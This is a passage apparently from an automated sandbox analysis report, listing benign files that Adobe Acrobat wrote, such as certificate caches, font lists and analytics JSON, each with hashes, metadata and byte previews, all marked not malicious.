SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.723752989961514
Encrypted:	false
SSDEEP:	3:kkFkl5hTBDtfllXlE/HT8kEtNNX8RolJuRdxLlGB9lQRYwpDdt:kKCeT83NMa8RdWBwRd
MD5:	8DF08FC26EBD8B6AD74C1AB106A9F4AA
SHA1:	ECADEF9F1F92287D6D4B6A89F14453CE7AC2DD12
SHA-256:	2BBE40121F61568FCB5588328E677AD2639D167237F432C43196A60D323C889E
SHA-512:	7A815097BFABC60B15005AAA1EE14DBCC014159966BC4BF228D3F9487DD33F321B355625F1FD6502743D96C2D4601BDFEC29AE1C1D39E63A8F2CB715BB927951
Malicious:	false
Preview:	p...... ..........6..c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.2345913795203645
Encrypted:	false
SSDEEP:	6:kKFyL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:dyiDImsLNkPlE99SNxAhUe/3
MD5:	71596E5B51553B60F59A1122C2A6C3A5
SHA1:	0E53827C2BC1F2A165C5AAE132BF8D4655ADA678
SHA-256:	AB635AA0B214250BA5FBDAA68BFDED7FC843D9F464624599B25C28709CE1F909
SHA-512:	BBECC05B6A978628EB8D9E3FAA26DA50D565EF525F35033EF7D822A2527F113823042B965F642DD89D1AD7BCC7F88E180ED2EA4FF96562629EE56B0E10E4871A
Malicious:	false
Preview:	p...... ........."...c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.5960

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.5960

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.355406161535633
Encrypted:	false
SSDEEP:	6:YEQXJ2HXuKhdyp0nZiQ0YReoAvJM3g98kUwPeUkwRe9:YvXKXlhS0c8VGMbLUkee9
MD5:	E4D32F144AA94A153A02F64401938543
SHA1:	B134E38E6D3CAF2020211DDEA8F243B913EE590C
SHA-256:	577DC45C221BBFD4AD045679CECC6AF62A053C58A9BDBA2B2584E900CAA2A033
SHA-512:	EDABB940A00DA0510CD34AF5A984BDE165A9B1E38A753719531312E108F8B4DCA214EE14CB9D917D35E4CD54FEBF2F6EC7599DD036BD8B96773DD7F2C455DCF4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dacba648-40ec-41c5-9806-a1e522809f34","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736723976194,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.307343264621064
Encrypted:	false
SSDEEP:	6:YEQXJ2HXuKhdyp0nZiQ0YReoAvJfBoTfXpnrPeUkwRe9:YvXKXlhS0c8VGWTfXcUkee9
MD5:	1959BE6BDB3D9EAE346AADB439DFFC87
SHA1:	9B4BF128C62E3CCB352E8285641BE6EAEFD4B1EF
SHA-256:	CDC3573282F07F9345A82D77FD28D248EA745E1F8AE431E2017CB0F55628AE5F
SHA-512:	7725D523A5D9FD74DF6FC2752FC5209FE7EA4FA4D15F006C470DC42B45D0A110C945ACD7D92BAD93D9CEB24CF066A32CF4C57CF9FEBF22F347057ED8524281AA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dacba648-40ec-41c5-9806-a1e522809f34","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736723976194,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.285482179366332
Encrypted:	false
SSDEEP:	6:YEQXJ2HXuKhdyp0nZiQ0YReoAvJfBD2G6UpnrPeUkwRe9:YvXKXlhS0c8VGR22cUkee9
MD5:	527A70E61E51A91F3960B3AF8201CB1D
SHA1:	2332C289A44A597389F30297D4616566F1D0ED64
SHA-256:	4BFE79DFE866FDB1CB867E628AC1C2E1B2873556F42421DBD4D87C3EFBAD0634
SHA-512:	5E5C0C0C5001CCB2DB78418098364353F35C7B1C3034EDDA7D7FC50E55ACD12C9DDDC8F9BF73548B888B15B44AB772C6D96D97CC8B7C35828AAB548C64B859D5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dacba648-40ec-41c5-9806-a1e522809f34","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736723976194,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.335149536330042
Encrypted:	false
SSDEEP:	6:YEQXJ2HXuKhdyp0nZiQ0YReoAvJfPmwrPeUkwRe9:YvXKXlhS0c8VGH56Ukee9
MD5:	12AD7B1CF799CF9C7168CF0CAEF7B22C
SHA1:	B29BA789512749BA5C57870EAC6253405AF9B17B
SHA-256:	628BED1CBF697A6AF2BD68B24FEC172987F11A2B18961E08781FA98AE126A058
SHA-512:	D6A7B5B9EFBC45178328086D4F706CFF84A2874C3BD111E466472F31A9E958F0478795E65782BF40D94D157604C783514448240F0393AF716CDB621665A58C17
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dacba648-40ec-41c5-9806-a1e522809f34","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736723976194,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.687258761189326
Encrypted:	false
SSDEEP:	24:Yv6Xo86pLgE9cQx8LennAvzBvkn0RCmK8czOCCSa:YvA6hgy6SAFv5Ah8cv/a
MD5:	59DEA53F4A7BE957233B3FFF1EE238B3
SHA1:	E259817A2061AA78FBC66B9D61BE7FF70FBCF48A
SHA-256:	B0CB460A15B031F579C7B68FDFCF769D85997B263B7D82F671129F778072DE54
SHA-512:	4C2B548CB3CA5FBA022A9D325E47085C818A58F5539EACBA8025086C9B9FE0EBB30B37775B539E72A0885057897442D6ECD40D4D3CB056D7BEE3BD108BE50023
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dacba648-40ec-41c5-9806-a1e522809f34","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736723976194,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.284461595831195
Encrypted:	false
SSDEEP:	6:YEQXJ2HXuKhdyp0nZiQ0YReoAvJf8dPeUkwRe9:YvXKXlhS0c8VGU8Ukee9
MD5:	2823B216F180E7B517572019145C0B5A
SHA1:	3FBFCAF179D161AAA738F7944465C384E2A12EA7
SHA-256:	25F28465F0AB79B88296F4961BD2D91D1790091E177F7DEF354D41824B3069B2
SHA-512:	5DBF9186ED94B65282BAEFBAF5523382FDE1640EA79D86720A18191D6463BBBDE8888EE3FAF8533A7CC33DA6A57E0F133F91ECF41603275BBC9DB5D13FD39D27
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dacba648-40ec-41c5-9806-a1e522809f34","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736723976194,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.28756428850812
Encrypted:	false
SSDEEP:	6:YEQXJ2HXuKhdyp0nZiQ0YReoAvJfQ1rPeUkwRe9:YvXKXlhS0c8VGY16Ukee9
MD5:	86EFA30CEE3511019731282614C15EF5
SHA1:	5E61102C1FF0AF15C65C03F44EFE1D0CAF442EB6
SHA-256:	98FF789C4A688AB4EA59222C06A818151E545049FDCC597214381E9C89550D1F
SHA-512:	F69CFEC2014A8A557FC472E951ABFA0B5A462E13341C0FF66D9DDF7CB25695574600B8D74B3011C690754FD50EB1FDE376CCF0BC16E08236867180D34AA3A371
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dacba648-40ec-41c5-9806-a1e522809f34","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736723976194,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.296405751837589
Encrypted:	false
SSDEEP:	6:YEQXJ2HXuKhdyp0nZiQ0YReoAvJfFldPeUkwRe9:YvXKXlhS0c8VGz8Ukee9
MD5:	3F877EE526CC4E5A82781B874601D134
SHA1:	4A8EDB72FB340222CAA3B95D01907414C4DB019E
SHA-256:	9085E00C6B91C6F77C4C215F2349066DAD490D84B296E7AD486616B38EE230A4
SHA-512:	ECDAB2D01595C3FF08C607FD4299613675657349107F504671B8406135A97A622B5D4314ABC46B1E00A0394DE3BA77CF15F4317DB22001C1BEBEB36092332BD5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dacba648-40ec-41c5-9806-a1e522809f34","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736723976194,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.311627568693973
Encrypted:	false
SSDEEP:	6:YEQXJ2HXuKhdyp0nZiQ0YReoAvJfzdPeUkwRe9:YvXKXlhS0c8VGb8Ukee9
MD5:	CB3C2C56FC410E60A87492E56773DB8D
SHA1:	D807C8ABF60461512F6B56A2EAEADE6BD9D37028
SHA-256:	E127B014754DB569249B2F4672F7F9FB7AC782E3B6A1AC3916204FF02E22E7EF
SHA-512:	ABB35AFBAF6A7FA4A47850CA49DE4F558ABD305BED00E202F40385EDF71BB24A46323AA22F7CC6D1764A4CAA6A06B38B5B0B2FD6DE9D29FCFAD4C4E78B731608
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dacba648-40ec-41c5-9806-a1e522809f34","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736723976194,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.292388178911995
Encrypted:	false
SSDEEP:	6:YEQXJ2HXuKhdyp0nZiQ0YReoAvJfYdPeUkwRe9:YvXKXlhS0c8VGg8Ukee9
MD5:	20A442DB316EF9EE0BD40C1A18C9D21A
